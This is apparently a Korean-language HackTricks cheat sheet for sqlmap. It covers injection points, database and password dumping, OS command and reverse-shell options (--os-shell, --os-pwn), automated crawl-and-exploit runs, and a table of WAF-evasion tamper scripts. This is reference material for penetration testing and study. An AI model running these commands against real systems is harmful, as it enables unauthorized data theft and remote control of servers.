SQLMap

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQLmap을 위한 기본 인자

일반

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

기법 플래그 (--technique)

인자 --technique는 sqlmap이 시도할 SQL injection 방법을 정의합니다. 문자열의 각 문자가 하나의 기법을 나타냅니다:

문자기법설명
BBoolean-based blind참/거짓 조건을 사용해 데이터를 유추합니다
EError-based상세한 DBMS 오류 메시지를 이용해 결과를 추출합니다
UUNION query같은 채널을 통해 데이터를 가져오기 위해 UNION SELECT 문을 주입합니다
SStacked queries추가 쿼리를 ;로 구분하여 실행합니다
TTime-based blind지연(SLEEP, WAITFOR)에 의존하여 인젝션을 감지합니다
QInline / out-of-band예: LOAD_FILE() 같은 함수나 OOB 채널(예: DNS)을 사용합니다

기본 순서는 BEUSTQ입니다. 순서를 재배열하거나 제한할 수 있습니다. 예: Boolean과 Time-based만 그 순서로:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

정보 수집

내부

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB 데이터

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection 위치

From Burp/ZAP 캡처

요청을 캡처하고 req.txt 파일을 생성하세요.

sqlmap -r req.txt --current-user

GET 요청 Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

헤더 및 기타 HTTP 메서드에서의 인젝션

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap으로 웹사이트 크롤링 및 auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection 맞춤화

접미사 설정

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

접두사

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection 찾는 데 도움

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper설명
apostrophemask.py작은따옴표 문자를 UTF-8 전각 대응 문자로 대체합니다
apostrophenullencode.py작은따옴표 문자를 불법 이중 유니코드 대응으로 대체합니다
appendnullbyte.py페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다
base64encode.py주어진 페이로드의 모든 문자를 Base64로 인코딩합니다
between.py부등호 연산자 (‘>’)를 ’NOT BETWEEN 0 AND #’로 대체합니다
bluecoat.pySQL 문 뒤의 공백 문자 이후를 유효한 임의 공백 문자로 교체합니다. 그 다음 문자 ’=’를 LIKE 연산자로 교체합니다
chardoubleencode.py주어진 페이로드의 모든 문자를 두 번 URL 인코딩합니다 (이미 인코딩된 문자는 처리하지 않음)
commalesslimit.py’LIMIT M, N’과 같은 인스턴스를 ’LIMIT N OFFSET M’으로 대체합니다
commalessmid.py’MID(A, B, C)’와 같은 인스턴스를 ’MID(A FROM B FOR C)’로 대체합니다
concat2concatws.py’CONCAT(A, B)’와 같은 인스턴스를 ’CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’로 대체합니다
charencode.py주어진 페이로드의 모든 문자를 URL 인코딩합니다 (이미 인코딩된 문자는 처리하지 않음)
charunicodeencode.py주어진 페이로드에서 인코딩되지 않은 문자를 Unicode-URL 인코딩합니다 (이미 인코딩된 문자는 처리하지 않음). “%u0022”
charunicodeescape.py주어진 페이로드에서 인코딩되지 않은 문자를 Unicode-URL 인코딩합니다 (이미 인코딩된 문자는 처리하지 않음). “\u0022”
equaltolike.py연산자 equal (‘=’)의 모든 발생을 연산자 ’LIKE’로 대체합니다
escapequotes.py따옴표 (’ and “)를 슬래시로 이스케이프합니다
greatest.py부등호 연산자 (‘>’)를 ‘GREATEST’ 대응으로 대체합니다
halfversionedmorekeywords.py각 키워드 앞에 버전화된 MySQL 주석을 추가합니다
ifnull2ifisnull.py’IFNULL(A, B)’와 같은 인스턴스를 ’IF(ISNULL(A), B, A)’로 대체합니다
modsecurityversioned.py전체 쿼리를 버전화된 주석으로 감쌉니다
modsecurityzeroversioned.py전체 쿼리를 제로-버전 주석으로 감쌉니다
multiplespaces.pySQL 키워드 주변에 다수의 공백을 추가합니다
nonrecursivereplacement.py미리 정의된 SQL 키워드를 대체용 표현으로 바꿉니다 (예: .replace(“SELECT”, “”)) 필터에 적합하게
percentage.py각 문자 앞에 퍼센트 기호 (‘%’)를 추가합니다
overlongutf8.py주어진 페이로드의 모든 문자를 변환합니다 (이미 인코딩된 문자는 처리하지 않음)
randomcase.py각 키워드 문자를 무작위 대/소문자로 대체합니다
randomcomments.pySQL 키워드에 무작위 주석을 추가합니다
securesphere.py특수 제작된 문자열을 추가합니다
sp_password.pyDBMS 로그에서 자동으로 난독화되도록 페이로드 끝에 ’sp_password’를 추가합니다
space2comment.py공백 문자 (’ ’)를 주석으로 대체합니다
space2dash.py공백 문자 (’ ‘)를 대시 주석 (’–‘)과 랜덤 문자열 및 개행 (’\n’)로 대체합니다
space2hash.py공백 문자 (’ ‘)를 파운드 문자 (’#‘)와 랜덤 문자열 및 개행 (’\n’)으로 대체합니다
space2morehash.py공백 문자 (’ ‘)를 파운드 문자 (’#‘)와 랜덤 문자열 및 개행 (’\n’)으로 대체합니다
space2mssqlblank.py공백 문자 (’ ’)를 유효한 대체 문자 세트에서 선택한 랜덤 블랭크 문자로 대체합니다
space2mssqlhash.py공백 문자 (’ ‘)를 파운드 문자 (’#‘)와 개행 (’\n’)으로 대체합니다
space2mysqlblank.py공백 문자 (’ ’)를 유효한 대체 문자 세트에서 선택한 랜덤 블랭크 문자로 대체합니다
space2mysqldash.py공백 문자 (’ ‘)를 대시 주석 (’–‘)과 개행 (’\n’)으로 대체합니다
space2plus.py공백 문자 (’ ‘)를 플러스 기호 (’+’)로 대체합니다
space2randomblank.py공백 문자 (’ ’)를 유효한 대체 문자 세트에서 선택한 랜덤 블랭크 문자로 대체합니다
symboliclogical.pyAND 및 OR 논리 연산자를 기호적 대응 (&& and ||)으로 대체합니다
unionalltounion.py’UNION ALL SELECT’를 ’UNION SELECT’로 대체합니다
unmagicquotes.py따옴표 문자 (’)를 멀티바이트 콤보 %bf%27로 대체하고 끝에 일반 주석을 추가합니다 (동작시키기 위해)
uppercase.py각 키워드 문자를 대문자로 대체합니다 (예: ‘INSERT’)
varnish.pyHTTP 헤더 ’X-originating-IP’를 추가합니다
versionedkeywords.py각 비함수 키워드를 버전화된 MySQL 주석으로 감쌉니다
versionedmorekeywords.py각 키워드를 버전화된 MySQL 주석으로 감쌉니다
xforwardedfor.py가짜 HTTP 헤더 ’X-Forwarded-For’를 추가합니다
luanginxmore.pyPOST 전용 tamper로, Lua‑Nginx WAF 파서(예: Cloudflare)를 소진시키기 위해 수백만 개의 더미 파라미터를 앞에 붙입니다.

luanginxmore generates ~4.2M random POST parameters before your payload; use it only with --method=POST and expect large request sizes to crash poorly configured Lua-Nginx WAFs.

최근에 활성화할 만한 스위치 (>=1.9.x)

  • HTTP/2 transport: --http2는 sqlmap이 HTTP/2로 통신하도록 강제합니다 (HTTP/1.1에 대해 속도 제한을 거는 프론트엔드에 유용하며 h2에는 관대한 경우에 유리합니다). --force-ssl과 함께 사용하면 HTTPS를 고정할 수 있습니다.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3는 목록을 순환하여 프록시를 변경합니다(3회 요청마다 변경), IP 기반 쓰로틀링을 피할 수 있습니다.
  • Offline / purge modes: --offline은 대상에 접촉하지 않고 캐시된 세션 데이터를 재사용합니다(네트워크 트래픽 없음), 반면 --purge는 작업 완료 시 세션/출력 디렉토리를 안전하게 삭제합니다.
  • Mobile UA emulation: --mobile은 인기 있는 스마트폰 User-Agent로 스푸핑할지를 묻습니다. 모바일 클라이언트에 추가 필드를 노출하는 API에서 유용합니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기